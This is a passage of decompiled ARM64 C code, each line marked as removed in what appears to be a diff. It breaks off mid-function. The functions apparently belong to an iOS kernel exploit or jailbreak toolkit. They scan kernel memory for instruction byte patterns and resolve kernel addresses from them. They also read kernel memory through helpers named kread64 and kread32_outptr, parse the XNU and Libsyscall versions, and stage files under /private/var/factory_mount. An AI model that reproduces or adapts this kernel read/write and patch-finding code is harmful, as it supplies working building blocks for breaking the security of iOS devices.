1); - } - return result; -} - -//----- (000000000001E598) ---------------------------------------------------- -__int64 __fastcall sub_1E598(__int64 a1) -{ - int v1; // w8 - - v1 = *(_DWORD *)(a1 + 0x70); - if ( v1 > 0x2257 ) - { - if ( v1 == 0x2258 || v1 == 0x225C ) - return 5LL; - if ( v1 == 0x2712 ) - return 6LL; - } - else - { - if ( (unsigned int)(v1 - 0x1F53) < 2 ) - return 4LL; - if ( v1 == 0x1809 ) - return 2LL; - if ( v1 == 0x1C1B ) - return 3LL; - } - return 0LL; -} - -//----- (000000000001E620) ---------------------------------------------------- -unsigned __int64 __fastcall sub_1E620(__int64 *a1, __int64 a2) -{ - return sub_1EB2C(a1, (__int64 *)(a2 & 0xFFFFFFFFFFFFFFFCLL), 1); -} - -//----- (000000000001E62C) ---------------------------------------------------- -__int64 __fastcall sub_1E62C(__int64 *a1) -{ - unsigned int v2; // w20 - bool v3; // zf - unsigned __int64 v4; // x0 - unsigned __int64 v5; // x8 - const char *v6; // x8 - char *v7; // x1 - __int64 result; // x0 - __int128 v9; // [xsp+0h] [xbp-60h] BYREF - __int64 v10; // [xsp+10h] [xbp-50h] - __int64 v11; // [xsp+20h] [xbp-40h] BYREF - __int64 v12; // [xsp+28h] [xbp-38h] - __int64 v13; // [xsp+30h] [xbp-30h] - __int128 v14; // [xsp+38h] [xbp-28h] BYREF - __int64 v15; // [xsp+48h] [xbp-18h] - - v2 = sub_1E598((__int64)a1); - sub_19D10((__int64)a1, &v14); - sub_19C34("__DATA_CONST", (__int64)a1, "__mod_init_func", &v11); - if ( v12 ) - v3 = v13 == 0; - else - v3 = 1; - if ( !v3 ) - { - v4 = sub_19B94(a1, v12); - if ( v4 ) - { - v5 = *((_QWORD *)&v14 + 1) - v4; - if ( *((_QWORD *)&v14 + 1) < v4 && v4 < v15 + *((_QWORD *)&v14 + 1) ) - { - *((_QWORD *)&v14 + 1) = v4; - v15 += v5; - } - } - } - v6 = "68 72 40 B9 08 01 19 32 68 72 00 B9"; - if ( v2 != 1 ) - v6 = 0LL; - if ( v2 <= 1 ) - v7 = (char *)v6; - else - v7 = "68 82 40 B9 08 01 19 32 68 82 00 B9"; - v9 = v14; - v10 = v15; - result = kernel_pattern_scan((__int64)&v9, v7, 0); - if ( result ) - { - result = sub_1EB2C(a1, (__int64 *)((result + 0xC) & 0xFFFFFFFFFFFFFFFCLL), 1); - if ( result ) - return sub_19B94(a1, result); - } - return result; -} -// 19B94: using guessed type __int64 __fastcall sub_19B94(_QWORD, _QWORD); - -//----- (000000000001E728) ---------------------------------------------------- -unsigned __int64 __fastcall sub_1E728(__int64 *a1) -{ - unsigned __int64 result; // x0 - unsigned __int64 v3; // x20 - unsigned __int64 v4; // x21 - _QWORD v5[3]; // [xsp+8h] [xbp-48h] BYREF - - sub_19D10((__int64)a1, v5); - result = kernel_pattern_scan((__int64)v5, "E0 03 15 AA .. .. .. .. FE 03 13 AA", 0); - if ( result ) - { - result = (unsigned __int64)sub_1E800(a1, (__int64 *)(result + 4)); - if ( result ) - { - v3 = result; - v4 = 0xFFFFFFFFFFFFFFFCLL; - while ( (sub_19ACC(a1, (__int64 *)(v3 + v4 + 4)) & 0x9F000000) != 0x90000000 - || (unsigned int)sub_19ACC(a1, (__int64 *)(v3 + v4 + 0xC)) >> 0x15 != 0x458 ) - { - v4 += 4LL; - if ( v4 >= 0xFC ) - return 0LL; - } - return sub_1EB2C(a1, (__int64 *)(v3 + v4 + 4), 1); - } - } - return result; -} - -//----- (000000000001E800) ---------------------------------------------------- -char *__fastcall sub_1E800(__int64 *a1, __int64 *a2) -{ - int v3; // w0 - unsigned __int64 v4; // x8 - - v3 = sub_19ACC(a1, a2); - if ( (v3 & 0x7C000000) != 0x14000000 ) - return 0LL; - v4 = *(_QWORD *)&v3 | 0xFFFFFFFFFE000000LL; - if ( (v3 & 0x2000000) == 0 ) - v4 = v3 & 0x1FFFFFF; - if ( v4 ) - return (char *)a2 + 4 * v4; - else - return 0LL; -} - -//----- (000000000001E854) ---------------------------------------------------- -unsigned __int64 __fastcall sub_1E854(__int64 *a1, __int64 *a2) -{ - return sub_1EB2C(a1, a2, 1); -} - -//----- (000000000001E85C) ---------------------------------------------------- -unsigned __int64 __fastcall sub_1E85C(__int64 *a1, int *a2) -{ - __int64 v4; // x20 - __int64 v5; // x0 - unsigned __int64 v6; // x0 - unsigned __int64 v7; // x22 - __int64 v8; // x23 - unsigned __int64 v9; // x21 - int v10; // w8 - __int128 v12; // [xsp+0h] [xbp-60h] BYREF - __int64 v13; // [xsp+10h] [xbp-50h] - __int128 v14; // [xsp+18h] [xbp-48h] BYREF - __int64 v15; // [xsp+28h] [xbp-38h] - - v4 = a1[0x23]; - if ( krw_ctx_has_flag((_DWORD *)v4, 0x20) ) - { - sub_19D10(*(_QWORD *)(v4 + 0x19F8), &v14); - *((_QWORD *)&v14 + 1) = *((_QWORD *)&v14 + 1) + v15 - 0x20000; - v15 = 0x20000LL; - v12 = v14; - v13 = 0x20000LL; - v5 = kernel_pattern_scan((__int64)&v12, "2B 09 40 B9 4B 39 0B 8B", 0); - if ( v5 ) - { - v6 = sub_1EB2C(a1, (__int64 *)(v5 - 0x28), 1); - if ( v6 ) - { - v7 = v6; - v8 = sub_19B94(a1, v6 - 8); - if ( validate_addr(v4, v8) ) - { - if ( kread32_outptr(v4, v8, &v12) && (unsigned int)(v12 - 1) <= 0x1F ) - { - v9 = sub_19B94(a1, v7); - if ( validate_addr(v4, v9) ) - { - v10 = v12; -LABEL_12: - *a2 = v10; - return v9; - } - } - } - } - } - return 0LL; - } - else - { - v9 = sub_1E728(a1); - if ( v9 ) - { - v10 = 8; - goto LABEL_12; - } - } - return v9; -} -// 19B94: using guessed type __int64 __fastcall sub_19B94(_QWORD, _QWORD); - -//----- (000000000001E99C) ---------------------------------------------------- -unsigned __int64 __fastcall sub_1E99C(__int64 a1, __int64 *a2, __int64 *a3) -{ - int v6; // w22 - char *v7; // x1 - unsigned __int64 result; // x0 - unsigned __int64 v9; // x23 - unsigned __int64 v10; // x22 - _QWORD v11[3]; // [xsp+8h] [xbp-48h] BYREF - - v6 = sub_1E598(a1); - sub_19D10(a1, v11); - if ( v6 ) - v7 = "5F 00 00 71 20 01 00 54"; - else - v7 = 0LL; - result = kernel_pattern_scan((__int64)v11, v7, 0); - if ( result ) - { - v9 = result; - result = sub_1EB2C((__int64 *)a1, (__int64 *)(result + 8), 1); - if ( result ) - { - v10 = result; - result = sub_1EB2C((__int64 *)a1, (__int64 *)(v9 + 0x18), 1); - if ( result ) - { - result = kread64(*(_DWORD **)(a1 + 0x118), result, a2); - if ( (_DWORD)result ) - return kread64(*(_DWORD **)(a1 + 0x118), v10, a3); - } - } - } - return result; -} - -//----- (000000000001EA70) ---------------------------------------------------- -__int64 __fastcall sub_1EA70(__int64 a1, int a2) -{ - __int64 result; // x0 - __int64 v4; // x21 - __int64 *v5; // x19 - unsigned int v6; // w20 - const char *v7; // x8 - char *v8; // x1 - _QWORD v9[3]; // [xsp+8h] [xbp-38h] BYREF - - if ( a2 > 0 ) - return 0LL; - v4 = a1 + 8LL * a2; - result = *(_QWORD *)(v4 + 0x1960); - if ( !result ) - { - if ( a2 ) - return 0LL; - v5 = *(__int64 **)(a1 + 0x19F8); - v6 = sub_1E598((__int64)v5); - sub_19D10((__int64)v5, v9); - v7 = "09 .. 00 F9 E1 03 00 32 00 00 80 52"; - if ( v6 != 1 ) - v7 = 0LL; - if ( v6 <= 1 ) - v8 = (char *)v7; - else - v8 = "09 .. 00 F9 00 00 80 52 E1 03 00 32"; - result = kernel_pattern_scan((__int64)v9, v8, 0); - if ( result ) - { - result = (__int64)sub_1E800(v5, (__int64 *)(result + 0xC)); - if ( result ) - *(_QWORD *)(v4 + 0x1960) = result; - } - } - return result; -} - -//----- (000000000001EB2C) ---------------------------------------------------- -unsigned __int64 __fastcall sub_1EB2C(__int64 *a1, __int64 *a2, int a3) -{ - unsigned __int64 v3; // x21 - unsigned int v7; // w0 - unsigned int v8; // w0 - __int64 v9; // x9 - unsigned __int64 v10; // x9 - char *v11; // x9 - unsigned int v13; // w23 - __int64 v14; // x8 - char v15; // w25 - int v16; // w23 - __int64 *v17; // x24 - __int64 *v18; // x22 - unsigned int v19; // w0 - __int64 v20; // x8 - bool v21; // cf - unsigned __int64 v22; // x8 - - if ( ((unsigned __int8)a2 & 3) != 0 ) - return 0LL; - v7 = sub_19ACC(a1, a2); - if ( v7 == 0xD503201F ) - { - v8 = sub_19ACC(a1, (__int64 *)((char *)a2 + 4)); - v9 = (v8 >> 5) & 0x7FFFF; - if ( ((v8 >> 5) & 0x40000LL) != 0 ) - v10 = (4 * v9) | 0xFFFFFFFFFFF00000LL; - else - v10 = 4 * v9; - v11 = (char *)a2 + v10 + 4; - if ( HIBYTE(v8) == 0x58 ) - return (unsigned __int64)v11; - else - return 0LL; - } - v13 = v7; - if ( (v7 & 0x9F000000) == 0x90000000 ) - { - v3 = ((unsigned __int64)a2 & 0xFFFFFFFFFFFFF000LL) + (int)((v7 >> 0x11) & 0x3000 | (v7 >> 5 << 0xE)); - } - else - { - if ( (v7 & 0x9F000000) != 0x10000000 || (unsigned int)sub_19ACC(a1, (__int64 *)((char *)a2 + 4)) != 0xD503201F ) - return 0LL; - v14 = (v13 >> 3) & 0x1FFFFC | (v13 >> 0x1D) & 3; - if ( (v14 & 0x100000) != 0 ) - v14 |= 0xFFFFFFFFFFE00000LL; - v3 = (unsigned __int64)a2 + v14; - } - v15 = 0; - v16 = v13 & 0x1F; - v17 = a2 + 4; - v18 = (__int64 *)((char *)a2 + 4); - while ( 1 ) - { - v19 = sub_19ACC(a1, v18); - if ( (v19 & 0x7F000000) == 0x11000000 && (v15 & 1) == 0 ) - { - if ( ((v19 >> 5) & 0x1F) == v16 ) - { - v20 = (v19 >> 0xA) & 0xFFF; - if ( (v19 & 0xC00000) != 0 ) - v20 <<= 0xC; - v3 += v20; - if ( !a3 || v16 != (v19 & 0x1F) ) - return v3; - v15 = 1; - } - else - { - v15 = 0; - } - } - if ( (v19 & 0xBFC00000) == 0xB9400000 && ((v19 >> 5) & 0x1F) == v16 ) - { - v22 = (unsigned __int64)((v19 >> 0xA) & 0xFFF) << (v19 >> 0x1E); - goto LABEL_40; - } - if ( (v19 & 0xFFC00000) == 0xB9800000 ) - break; - if ( (v19 & 0xFFC00000) == 0x39400000 && ((v19 >> 5) & 0x1F) == v16 ) - { - v22 = (v19 >> 0xA) & 0xFFF; - goto LABEL_40; - } -LABEL_35: - if ( v19 != 0xD65F03C0 ) - { - v21 = v17 >= v18; - v18 = (__int64 *)((char *)v18 + 4); - if ( v21 ) - continue; - } - return v3; - } - if ( ((v19 >> 5) & 0x1F) != v16 ) - goto LABEL_35; - v22 = (v19 >> 8) & 0x3FFC; -LABEL_40: - v3 += v22; - return v3; -} - -//----- (000000000001ED50) ---------------------------------------------------- -__int64 __fastcall sub_1ED50(char *a1, size_t a2) -{ - host_t v4; // w0 - kern_return_t v5; // w0 - int v7; // w19 - int v8; // w8 - int v9[2]; // [xsp+8h] [xbp-238h] BYREF - size_t v10; // [xsp+10h] [xbp-230h] BYREF - kernel_version_t kernel_version; // [xsp+18h] [xbp-228h] BYREF - - if ( dyldVersionNumber < 800.0 ) - { - v4 = mach_host_self(); - v5 = host_kernel_version(v4, kernel_version); - if ( v5 ) - return v5 | 0x80000000; - goto LABEL_8; - } - *(_QWORD *)v9 = 0x400000001LL; - v10 = 0x200LL; - if ( !sysctl(v9, 2u, kernel_version, &v10, 0LL, 0LL) ) - { -LABEL_8: - if ( strlen(kernel_version) + 1 > a2 ) - return 0xAD00CLL; - strlcpy(a1, kernel_version, a2); - return 0LL; - } - v7 = *__error(); - v8 = *__error(); - if ( v7 < 0 ) - v8 = -v8; - return v8 | 0x40000000u; -} - -//----- (000000000001EE6C) ---------------------------------------------------- -__n128 __fastcall kernel_version_parse(__int64 a1, _DWORD *a2, _DWORD *a3) -{ - __n128 result; // q0 - char *v7; // x0 - int v8; // w0 - size_t v9; // x0 - char *v10; // x0 - __int128 v11; // [xsp+40h] [xbp-250h] - __int64 v12; // [xsp+50h] [xbp-240h] - char __big[512]; // [xsp+58h] [xbp-238h] BYREF - - v12 = 0LL; - LODWORD(v11) = 0; - if ( dyldVersionNumber >= 1000.0 ) - { - __strlcpy_chk(); - v9 = strlen(__big); - if ( v9 ) - { - if ( __big[v9 - 1] == 0xA ) - __big[v9 - 1] = 0; - if ( madvise(0LL, 0LL, 0xA) ) - { - if ( *__error() == 0x2D ) - { - v10 = strstr(__big, "Libsyscall-"); - if ( v10 ) - { - v8 = sscanf(v10, "Libsyscall-%d.%d.%d.%d.%d%*s"); -LABEL_13: - if ( v8 >= 3 ) - { - *a2 = 1; - *a3 = 1; - DWORD1(v11) = 0; - *((_QWORD *)&v11 + 1) = 0LL; - LOBYTE(v12) = 1; - result = 0u; - *(_QWORD *)(a1 + 0x20) = v12; - *(_OWORD *)a1 = 0u; - *(_OWORD *)(a1 + 0x10) = v11; - } - } - } - } - } - } - else if ( !(unsigned int)sub_1ED50(__big, 0x200uLL) ) - { - if ( strstr(__big, "RELEASE") ) - { - v7 = strstr(__big, "xnu-"); - if ( v7 ) - { - v8 = sscanf(v7, "xnu-%d.%d.%d.%d.%d%*s"); - goto LABEL_13; - } - } - } - return result; -} - -//----- (000000000001F07C) ---------------------------------------------------- -__int64 __fastcall sub_1F07C(vm_map_read_t a1, mach_vm_address_t a2, _QWORD *a3) -{ - mach_msg_type_number_t infoCnt; // [xsp+Ch] [xbp-34h] BYREF - int info; // [xsp+10h] [xbp-30h] BYREF - __int64 v7; // [xsp+18h] [xbp-28h] - __int64 v8; // [xsp+20h] [xbp-20h] - - infoCnt = 8; - if ( mach_vm_page_info(a1, a2, 1, &info, &infoCnt) ) - return 0LL; - if ( a3 ) - *a3 = v8; - return v7; -} - -//----- (000000000001F0D8) ---------------------------------------------------- -__int64 number_of_cpus() -{ - return (unsigned __int8)((unsigned int)j___get_cpu_capabilities() >> 0x10); -} -// 4103C: using guessed type __int64 j___get_cpu_capabilities(void); - -//----- (000000000001F0F4) ---------------------------------------------------- -unsigned __int64 sub_1F0F4() -{ - unsigned __int64 result; // x0 - - result = sub_41040(); - if ( result ) - return *(_QWORD *)(result + 0x38); - return result; -} - -//----- (000000000001F114) ---------------------------------------------------- -__int64 sub_1F114() -{ - host_t v0; // w0 - vm_size_t v2; // [xsp+8h] [xbp-8h] BYREF - - v0 = mach_host_self(); - if ( host_page_size(v0, &v2) ) - return 0LL; - else - return (unsigned int)v2; -} - -//----- (000000000001F148) ---------------------------------------------------- -__int64 __fastcall sub_1F148(task_name_t a1) -{ - mach_msg_type_number_t task_info_outCnt; // [xsp+4h] [xbp-17Ch] BYREF - integer_t task_info_out[90]; // [xsp+8h] [xbp-178h] BYREF - - task_info_outCnt = 0x24; - if ( task_info(a1, 0x16u, task_info_out, &task_info_outCnt) ) - return 0LL; - else - return (unsigned int)task_info_out[3]; -} - -//----- (000000000001F190) ---------------------------------------------------- -__int64 sub_1F190() -{ - int v0; // w8 - unsigned int StatusReg; // w9 - - if ( dyldVersionNumber >= 900.0 ) - { - v0 = 0xFFF; - StatusReg = _ReadStatusReg(ARM64_SYSREG(3, 3, 0xD, 0, 2)); - } - else - { - v0 = 7; - StatusReg = _ReadStatusReg(ARM64_SYSREG(3, 3, 0xD, 0, 3)); - } - return v0 & StatusReg; -} - -//----- (000000000001F1C8) ---------------------------------------------------- -__int64 __fastcall sub_1F1C8(task_name_t a1, _QWORD *a2, _QWORD *a3) -{ - __int64 result; // x0 - __int64 v6; // x8 - mach_msg_type_number_t task_info_outCnt; // [xsp+4h] [xbp-18Ch] BYREF - integer_t task_info_out[38]; // [xsp+8h] [xbp-188h] BYREF - __int64 v9; // [xsp+A0h] [xbp-F0h] - __int64 v10; // [xsp+A8h] [xbp-E8h] - - task_info_outCnt = 0x2A; - result = task_info(a1, 0x16u, task_info_out, &task_info_outCnt); - if ( !(_DWORD)result ) - { - if ( task_info_outCnt == 0x2A ) - { - result = 0LL; - v6 = v10; - *a2 = v9; - *a3 = v6; - } - else - { - return 4LL; - } - } - return result; -} - -//----- (000000000001F240) ---------------------------------------------------- -unsigned __int64 __fastcall sub_1F240(_DWORD *a1) -{ - unsigned __int64 result; // x0 - - result = sub_41040(); - if ( result ) - { - *a1 = *(_DWORD *)(result + 0x80); - return 1LL; - } - return result; -} - -//----- (000000000001F274) ---------------------------------------------------- -__int64 __fastcall sub_1F274(unsigned int a1, _QWORD *a2) -{ - __int64 v2; // x19 - _DWORD *v5; // x0 - _DWORD *v6; // x22 - _DWORD *v7; // x0 - - v2 = 0xAD009LL; - if ( a1 < 4 ) - return 0xAD001LL; - v5 = calloc(0x10uLL, 1uLL); - if ( v5 ) - { - v6 = v5; - v7 = calloc(a1, 1uLL); - *(_QWORD *)v6 = v7; - if ( v7 ) - { - v2 = 0LL; - *v7 = 0xD3; - v6[2] = 4; - v6[3] = a1; - *a2 = v6; - } - else - { - free(v6); - } - } - return v2; -} - -//----- (000000000001F308) ---------------------------------------------------- -__int64 __fastcall sub_1F308(__int64 *a1, int a2, size_t __n, _QWORD *__src) -{ - __int64 result; // x0 - unsigned int v6; // w9 - unsigned int v7; // w9 - __int64 v8; // x10 - __int64 v9; // x9 - unsigned int v10; // w10 - unsigned int v11; // w8 - int v12; // w20 - - result = 0xAD001LL; - if ( !BYTE3(__n) ) - { - v6 = ((a2 & 0x7F000000u) - 0x1000000) >> 0x18; - if ( v6 <= 0xB ) - { - if ( ((1 << v6) & 0xC07) != 0 ) - { - v7 = 4; - } - else if ( ((1 << v6) & 0x380) != 0 ) - { - v7 = (__n + 7) & 0xFFFFFFFC; - } - else - { - if ( v6 != 3 ) - return result; - v7 = 0xC; - } - v8 = *((unsigned int *)a1 + 2); - if ( v7 > *((_DWORD *)a1 + 3) - (int)v8 ) - return 0xAD00CLL; - v9 = *a1; - *(_DWORD *)(*a1 + v8) = __n | a2; - v10 = *((_DWORD *)a1 + 2) + 4; - *((_DWORD *)a1 + 2) = v10; - v11 = ((a2 & 0x7F000000u) - 0x4000000) >> 0x18; - if ( v11 - 4 < 3 ) - { - v12 = (__n + 3) & 0xFFFFFFFC; - memcpy((void *)(v9 + v10), __src, (unsigned int)__n); -LABEL_15: - result = 0LL; - *((_DWORD *)a1 + 2) += v12; - return result; - } - if ( !v11 ) - { - *(_QWORD *)(v9 + v10) = *__src; - v12 = 8; - goto LABEL_15; - } - return 0LL; - } - } - return result; -} - -//----- (000000000001F418) ---------------------------------------------------- -__int64 __fastcall sub_1F418(__int64 a1, _QWORD *a2, _DWORD *a3) -{ - __int64 v3; // x19 - size_t v5; // x22 - void *v8; // x0 - - v3 = 0xAD001LL; - if ( *(_QWORD *)a1 ) - { - v5 = *(unsigned int *)(a1 + 8); - if ( (_DWORD)v5 ) - { - if ( *(_DWORD *)(a1 + 0xC) ) - { - v8 = malloc(*(unsigned int *)(a1 + 8)); - *a2 = v8; - if ( v8 ) - { - memcpy(v8, *(const void **)a1, v5); - v3 = 0LL; - *a3 = *(_DWORD *)(a1 + 8); - } - else - { - return 0xAD009LL; - } - } - } - } - return v3; -} - -//----- (000000000001F4A4) ---------------------------------------------------- -__int64 __fastcall sub_1F4A4(void **a1) -{ - void *v2; // x0 - - v2 = *a1; - if ( v2 ) - free(v2); - *a1 = 0LL; - a1[1] = 0LL; - free(a1); - return 0LL; -} - -//----- (000000000001F4E0) ---------------------------------------------------- -__int64 __fastcall fd_make_pipe(int *a1) -{ - int v2; // w19 - int v3; // w8 - - if ( pipe(a1) ) - { - v2 = *__error(); - v3 = *__error(); - if ( v2 < 0 ) - v3 = -v3; - return v3 | 0x40000000u; - } - else if ( *a1 == 0xFFFFFFFF || a1[1] == 0xFFFFFFFF ) - { - return 0x2802ALL; - } - else - { - return 0LL; - } -} - -//----- (000000000001F550) ---------------------------------------------------- -__int64 __fastcall fd_read_test(int *a1) -{ - int v3; // w19 - int v4; // w8 - _BYTE v5[256]; // [xsp+8h] [xbp-118h] BYREF - - while ( read(*a1, v5, 0x100uLL) > 0 ) - ; - if ( *__error() == 0x23 ) - return 0LL; - v3 = *__error(); - v4 = *__error(); - if ( v3 < 0 ) - v4 = -v4; - return v4 | 0x40000000u; -} - -//----- (000000000001F5F0) ---------------------------------------------------- -__int64 __fastcall setup_two_fds(unsigned int *a1) -{ - __int64 result; // x0 - int v3; // w0 - __int64 vars8; // [xsp+18h] [xbp+8h] - - result = setup_fd(*a1); - if ( !(_DWORD)result ) - { - v3 = a1[1]; - if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) - __break(0xC471u); - return setup_fd(v3); - } - return result; -} -// 1F62C: variable 'vars8' is possibly undefined - -//----- (000000000001F63C) ---------------------------------------------------- -__int64 __fastcall setup_fd(int a1) -{ - int v2; // w0 - int v3; // w0 - int v5; // w19 - int v6; // w8 - - if ( a1 == 0xFFFFFFFF ) - return 0xAD001LL; - if ( fcntl(a1, 0x49, 1LL) != 0xFFFFFFFF ) - { - v2 = fcntl(a1, 1); - if ( v2 != 0xFFFFFFFF && fcntl(a1, 2, v2 | 1u) != 0xFFFFFFFF ) - { - v3 = fcntl(a1, 3); - if ( v3 != 0xFFFFFFFF && fcntl(a1, 4, v3 | 4u) != 0xFFFFFFFF ) - return 0LL; - } - } - v5 = *__error(); - v6 = *__error(); - if ( v5 < 0 ) - v6 = -v6; - return v6 | 0x40000000u; -} - -//----- (000000000001F714) ---------------------------------------------------- -__int64 __fastcall sub_1F714(__int64 a1, const void *a2, size_t a3) -{ - ssize_t v4; // x0 - int v6; // w19 - int v7; // w8 - - v4 = write(*(_DWORD *)(a1 + 4), a2, a3); - if ( v4 < 0 ) - { - v6 = *__error(); - v7 = *__error(); - if ( v6 < 0 ) - v7 = -v7; - return v7 | 0x40000000u; - } - else if ( v4 == a3 ) - { - return 0LL; - } - else - { - return 0x2803ALL; - } -} - -//----- (000000000001F770) ---------------------------------------------------- -__int64 __fastcall sub_1F770(int *a1, void *a2, size_t a3) -{ - ssize_t v4; // x0 - int v6; // w19 - int v7; // w8 - - v4 = read(*a1, a2, a3); - if ( v4 < 0 ) - { - v6 = *__error(); - v7 = *__error(); - if ( v6 < 0 ) - v7 = -v7; - return v7 | 0x40000000u; - } - else if ( v4 == a3 ) - { - return 0LL; - } - else - { - return 0x2803BLL; - } -} - -//----- (000000000001F7CC) ---------------------------------------------------- -int *__fastcall sub_1F7CC(__int64 a1) -{ - int *result; // x0 - int v3; // w20 - int v4; // w8 - int v5; // w8 - - result = (int *)sub_14F5C(*(_QWORD *)(a1 + 8), *(const char **)a1, 0); - if ( (_DWORD)result ) - { - v3 = *__error(); - result = __error(); - v4 = *result; - if ( v3 < 0 ) - v4 = -v4; - v5 = v4 | 0x40000000; - } - else - { - v5 = 0; - } - *(_DWORD *)(a1 + 0x10) = v5; - return result; -} - -//----- (000000000001F828) ---------------------------------------------------- -int *__fastcall sub_1F828(int *a1) -{ - int *result; // x0 - int v3; // w8 - int v4; // w20 - int v5; // w8 - - result = (int *)mkdir("/private/var/factory_mount", 0x1FFu); - if ( (_DWORD)result && (result = __error(), *result != 0x11) ) - { - v4 = *__error(); - result = __error(); - v5 = *result; - if ( v4 < 0 ) - v5 = -v5; - v3 = v5 | 0x40000000; - } - else - { - v3 = 0; - } - *a1 = v3; - return result; -} - -//----- (000000000001F894) ---------------------------------------------------- -int *__fastcall sub_1F894(__int64 a1) -{ - int *result; // x0 - int v3; // w8 - int v4; // w20 - int v5; // w8 - - result = (int *)mmap( - *(void **)(a1 + 8), - *(_QWORD *)(a1 + 0x10), - *(_DWORD *)(a1 + 0x18), - 0x12, - *(_DWORD *)a1, - *(_QWORD *)(a1 + 0x20)); - if ( result == (int *)0xFFFFFFFFFFFFFFFFLL ) - { - v4 = *__error(); - result = __error(); - v5 = *result; - if ( v4 < 0 ) - v5 = -v5; - v3 = v5 | 0x40000000; - } - else - { - v3 = 0; - } - *(_DWORD *)(a1 + 0x28) = v3; - return result; -} - -//----- (000000000001F900) ---------------------------------------------------- -__int64 __fastcall sub_1F900(__int64 a1, int a2, __int64 a3, __int64 a4, int a5, __int64 a6) -{ - int v7; // [xsp+0h] [xbp-30h] BYREF - __int64 v8; // [xsp+8h] [xbp-28h] - __int64 v9; // [xsp+10h] [xbp-20h] - int v10; // [xsp+18h] [xbp-18h] - __int64 v11; // [xsp+20h] [xbp-10h] - unsigned int v12; // [xsp+28h] [xbp-8h] - - v7 = a2; - v8 = a3; - v9 = a4; - v10 = a5; - v11 = a6; - v12 = 0xAD001; - if ( pthread_create_and_join(a1, (__int64)sub_1F894, &v7) ) - return v12; - else - return 0x28003LL; -} - -//----- (000000000001F964) ---------------------------------------------------- -int *__fastcall sub_1F964(int *a1) -{ - int v2; // w20 - int *result; // x0 - int v4; // w20 - int v5; // w8 - int v6; // w8 - char v7[1025]; // [xsp+17h] [xbp-429h] BYREF - - v2 = *a1; - bzero(v7, 0x401uLL); - if ( fcntl(v2, 0x32, v7) || unlink(v7) || (result = (int *)close(v2), (_DWORD)result) ) - { - v4 = *__error(); - result = __error(); - v5 = *result; - if ( v4 < 0 ) - v5 = -v5; - v6 = v5 | 0x40000000; - } - else - { - v6 = 0; - } - a1[1] = v6; - return result; -} - -//----- (000000000001FA28) ---------------------------------------------------- -__int64 __fastcall sub_1FA28(__int64 a1, int a2) -{ - int v3; // [xsp+8h] [xbp-8h] BYREF - unsigned int v4; // [xsp+Ch] [xbp-4h] - - v3 = a2; - v4 = 0xAD001; - if ( pthread_create_and_join(a1, (__int64)sub_1F964, &v3) ) - return v4; - else - return 0x28003LL; -} - -//----- (000000000001FA7C) ---------------------------------------------------- -__int64 __fastcall sub_1FA7C(__int64 a1, __int64 a2, int a3, __int64 a4) -{ - __int64 v5; // [xsp+0h] [xbp-20h] BYREF - int v6; // [xsp+8h] [xbp-18h] - __int64 v7; // [xsp+10h] [xbp-10h] - unsigned int v8; // [xsp+18h] [xbp-8h] - - v5 = a2; - v6 = a3; - v7 = a4; - v8 = 0xAD001; - if ( pthread_create_and_join(a1, (__int64)sub_1FADC, &v5) ) - return v8; - else - return 0x28003LL; -} - -//----- (000000000001FADC) ---------------------------------------------------- -int *__fastcall sub_1FADC(__int64 a1) -{ - const void *v2; // x22 - size_t v3; // x21 - int *v4; // x25 - int *result; // x0 - int v6; // w24 - char *v7; // x0 - const char *v8; // x20 - int v9; // w0 - int v10; // w23 - unsigned int v11; // w24 - unsigned __int64 v12; // x0 - int v14; // w20 - int v15; // w8 - int v16; // w0 - int v17; // w21 - int v18; // w8 - char __str[1024]; // [xsp+10h] [xbp-CC0h] BYREF - statfs v20; // [xsp+410h] [xbp-8C0h] BYREF - - v2 = *(const void **)a1; - v3 = *(unsigned int *)(a1 + 8); - v4 = *(int **)(a1 + 0x10); - bzero(&v20, 0x878uLL); - result = (int *)sub_1FD98(&v20); - v6 = (int)result; - if ( !(_DWORD)result ) - { - snprintf(__str, 0x400uLL, "%s/temp.XXXXXX", "/private/var/factory_mount"); - v7 = mktemp(__str); - if ( !v7 || (v8 = v7, v9 = open_dprotected_np(v7, 0x602, 4, 0, 0x1EDLL), v9 < 0) ) - { - v14 = *__error(); - result = __error(); - v15 = *result; - if ( v14 < 0 ) - v15 = -v15; - v6 = v15 | 0x40000000; - } - else - { - v10 = v9; - v11 = 0; - while ( 1 ) - { - v12 = write(v10, v2, v3); - if ( v12 != 0xFFFFFFFFFFFFFFFFLL ) - break; - if ( *__error() == 4 && v11++ < 0x64 ) - continue; - v6 = 0x1B005; - goto LABEL_20; - } - v6 = 0x1B005; - if ( !HIDWORD(v12) && (_DWORD)v3 == (_DWORD)v12 ) - { - v16 = open(v8, 0); - if ( (v16 & 0x80000000) == 0 ) - { - *v4 = v16; - result = (int *)close(v10); - v6 = 0; - goto LABEL_21; - } - v17 = *__error(); - v18 = *__error(); - if ( v17 < 0 ) - v18 = -v18; - v6 = v18 | 0x40000000; - } -LABEL_20: - close(v10); - result = (int *)unlink(v8); - } - } -LABEL_21: - *(_DWORD *)(a1 + 0x18) = v6; - return result; -} - -//----- (000000000001FC94) ---------------------------------------------------- -__int64 __fastcall sub_1FC94(__int64 a1) -{ - __int64 result; // x0 - char *f_mntonname; // [xsp+8h] [xbp-8B8h] BYREF - __int64 v4; // [xsp+10h] [xbp-8B0h] - unsigned int v5; // [xsp+18h] [xbp-8A8h] - statfs v6; // [xsp+20h] [xbp-8A0h] BYREF - - bzero(&v6, 0x878uLL); - LODWORD(result) = sub_1FD98(&v6); - if ( (_DWORD)result ) - { - if ( (_DWORD)result == 0xAD011 ) - return 0LL; - else - return (unsigned int)result; - } - else - { - f_mntonname = v6.f_mntonname; - v4 = 0LL; - v5 = 0xAD001; - if ( pthread_create_and_join(a1, (__int64)sub_20490, &f_mntonname) ) - result = v5; - else - result = 0xAD00BLL; - if ( !(_DWORD)result ) - { - f_mntonname = v6.f_mntfromname; - v4 = 0LL; - v5 = 0xAD001; - if ( pthread_create_and_join(a1, (__int64)sub_20524, &f_mntonname) ) - return v5; - else - return 0xAD00BLL; - } - } - return result; -} - -//----- (000000000001FD98) ---------------------------------------------------- -__int64 __fastcall sub_1FD98(statfs *a1) -{ - __int64 v2; // x19 - int v3; // w19 - int v4; // w8 - - v2 = 0xAD011LL; - if ( statfs("/private/var/factory_mount", a1) ) - { - if ( *__error() != 2 ) - { - v3 = *__error(); - v4 = *__error(); - if ( v3 < 0 ) - v4 = -v4; - return v4 | 0x40000000u; - } - } - else if ( !strcmp("/private/var/factory_mount", a1->f_mntonname) ) - { - if ( !strcmp("hfs", a1->f_fstypename) ) - return 0LL; - else 